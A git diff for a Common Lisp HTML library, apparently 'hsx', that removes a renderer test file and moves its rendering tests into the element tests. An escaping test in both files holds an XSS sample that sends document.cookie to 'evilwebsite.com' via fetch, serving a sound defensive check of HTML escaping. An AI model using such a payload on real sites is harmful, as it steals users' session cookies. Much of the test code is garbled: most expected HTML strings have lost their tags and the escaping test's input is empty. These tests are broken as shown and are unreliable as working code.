diff --git a/hsx-test.asd b/hsx-test.asd index 1266328..e2f5324 100644 --- a/hsx-test.asd +++ b/hsx-test.asd @@ -7,12 +7,10 @@ "hsx-test/defhsx" "hsx-test/hsx" "hsx-test/escaper" - "hsx-test/renderer" "hsx-test/group") :test-names ((#:element-test . #:hsx-test/element) (#:defhsx-test . #:hsx-test/defhsx) (#:hsx-test . #:hsx-test/hsx) (#:escaper-test . #:hsx-test/escaper) - (#:renderer-test . #:hsx-test/renderer) (#:group-test . #:hsx-test/group)) :num-checks 42) diff --git a/tests/element.lisp b/tests/element.lisp index 71a04ae..1daf267 100644 --- a/tests/element.lisp +++ b/tests/element.lisp @@ -1,8 +1,13 @@ (defpackage #:hsx-test/element (:use #:cl - #:fiveam - #:hsx/element)) + #:fiveam + #:hsx/element) + (:import-from #:named-readtables + #:in-readtable) + (:import-from #:mstrings + #:mstring-syntax)) (in-package #:hsx-test/element) +(in-readtable mstring-syntax) (def-suite element-test) (in-suite element-test) @@ -23,6 +28,117 @@ (cons "d" "e"))))) (is (equal (list "a" "b" "c" "d" "e") (element-children elm))))) +(test empty-element + (is (string= "
" + (render-to-string (create-element :div nil nil))))) + +(test element-with-props + (is (string= "
" + (render-to-string (create-element :div + (list :prop1 "value1" + :prop2 t + :prop3 nil) + nil))))) + +(test element-with-children + (is (string= "

foo

" + (render-to-string (create-element :p + nil + (list "foo")) + :pretty t))) + (is (string= #M"

+ \ foo + \

" + (render-to-string (create-element :p + nil + (list (create-element :span + nil + (list "foo")))) + :pretty t))) + (is (string= #M"

+ \ foo + \ bar + \

" + (render-to-string (create-element :p + nil + (list "foo" + (create-element :span + nil + (list "bar")))) + :pretty t)))) + +(test element-with-props-and-children + (is (string= "

foo

" + (render-to-string (create-element :p + (list :prop1 "value1" + :prop2 t + :prop3 nil) + (list "foo")) + :pretty t))) + (is (string= #M"

+ \ foo + \ bar + \

" + (render-to-string (create-element :p + (list :prop1 "value1" + :prop2 t + :prop3 nil) + (list "foo" + (create-element :span + nil + "bar"))) + :pretty t)))) + +(test self-closing-tag + (is (string= "" + (render-to-string (create-element :img + (list :src "/background.png") + nil) + :pretty t)))) + +(test escaping-tag + (is (string= "
<script>fetch('evilwebsite.com', { method: 'POST', body: document.cookie })</script>
" + (render-to-string + (create-element :div + nil + (list "")))))) + +(test non-escaping-tag + (is (string= "" + (render-to-string + (create-element :script + nil + "alert('<< Do not embed user-generated contents here! >>')"))))) + +(test fragment + (let ((frg (create-element :<> + nil + (list (create-element :li + nil + (list "bar")) + (create-element :li + nil + (list "baz")))))) + (is (string= #M"
  • bar
  • +
  • baz
  • " + (render-to-string frg :pretty t))) + (is (string= #M"" + (render-to-string (create-element :ul + nil + (list (create-element :li + nil + (list "foo")) + frg + (create-element :li + nil + (list "brah")))) + :pretty t))))) + (defun comp1 (&key prop children) (create-element :div nil @@ -31,8 +147,8 @@ (test component-accepting-keyword-args (let ((elm (expand-component (create-element #'comp1 - '(:prop "value") - (list "child"))))) + '(:prop "value") + (list "child"))))) (is (eq :div (element-type elm))) (is (equal (list "value" "child") (element-children elm))))) diff --git a/tests/renderer.lisp b/tests/renderer.lisp deleted file mode 100644 index 233c769..0000000 --- a/tests/renderer.lisp +++ /dev/null @@ -1,94 +0,0 @@ -(defpackage #:hsx-test/renderer - (:use #:cl - #:fiveam - #:named-readtables - #:hsx/builtin) - (:import-from #:mstrings) - (:import-from #:hsx/element - #:render-to-string)) -(in-package :hsx-test/renderer) -(in-readtable mstrings:mstring-syntax) - -(def-suite renderer-test) -(in-suite renderer-test) - -(test empty-tag - (is (string= "
    " - (render-to-string (div))))) - -(test tag-with-props - (is (string= "
    " - (render-to-string - (div :prop1 "value1" :prop2 t :prop3 nil))))) - -(test tag-with-children - (is (string= "

    foo

    " - (render-to-string (p "foo") :pretty t))) - (is (string= #M"

    - \ foo - \

    " - (render-to-string - (p - (span "foo")) - :pretty t))) - (is (string= #M"

    - \ foo - \ bar - \

    " - (render-to-string - (p - "foo" - (span "bar")) - :pretty t)))) - -(test tag-with-props-and-children - (is (string= "

    foo

    " - (render-to-string - (p :prop1 "value1" :prop2 t :prop3 nil - "foo") - :pretty t))) - (is (string= #M"

    - \ foo - \ bar - \

    " - (render-to-string - (p :prop1 "value1" :prop2 t :prop3 nil - "foo" - (span "bar")) - :pretty t)))) - -(test self-closing-tag - (is (string= "" - (render-to-string - (img :src "/background.png") - :pretty t)))) - -(test escaping-tag - (is (string= "
    <script>fetch('evilwebsite.com', { method: 'POST', body: document.cookie })</script>
    " - (render-to-string - (div ""))))) - -(test non-escaping-tag - (is (string= "" - (render-to-string - (script "alert('<< Do not embed user-generated contents here! >>')"))))) - -(test fragment - (let ((frg (<> - (li "bar") - (li "baz")))) - (is (string= #M"
  • bar
  • -
  • baz
  • " - (render-to-string frg :pretty t))) - (is (string= #M"" - (render-to-string - (ul - (li "foo") - frg - (li "brah")) - :pretty t)))))